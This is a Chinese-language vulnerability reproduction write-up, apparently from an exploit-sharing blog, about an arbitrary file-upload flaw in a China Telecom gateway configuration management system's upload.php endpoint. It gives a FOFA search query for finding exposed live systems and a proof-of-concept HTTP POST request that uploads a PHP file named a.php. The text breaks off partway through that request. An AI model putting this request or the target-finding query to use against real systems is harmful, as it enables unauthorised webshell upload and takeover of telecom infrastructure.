电信网关配置管理系统后台 upload.php 文件上传漏洞复现

0x01 产品简介

中国电信集团有限公司（英文名称“China Telecom”、简称“中国电信”）成立于2000年9月，是中国特大型国有通信企业、上海世博会全球合作伙伴。

0x02 漏洞概述

电信网关配置管理系统后台 /manager/teletext/material/upload.php 接口存在文件上传漏洞，攻击者可以利用文件上传漏洞获取系统权限。

0x03 复现环境

FOFA：body="img/login_bg3.png" && body="系统登录"

0x04 漏洞复现

PoC

POST /manager/teletext/material/upload.php HTTP/1.1
Host: your-ip
Content-Type: multipart/form-data;boundary=----WebKitFormBoundaryssh7UfnPpGU7BXfK
Upgrade-Insecure-Requests: 1
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

------WebKitFormBoundaryssh7UfnPpGU7BXfK
Content-Disposition: form-data; name="fileToUpload"; filename="a.php"
Con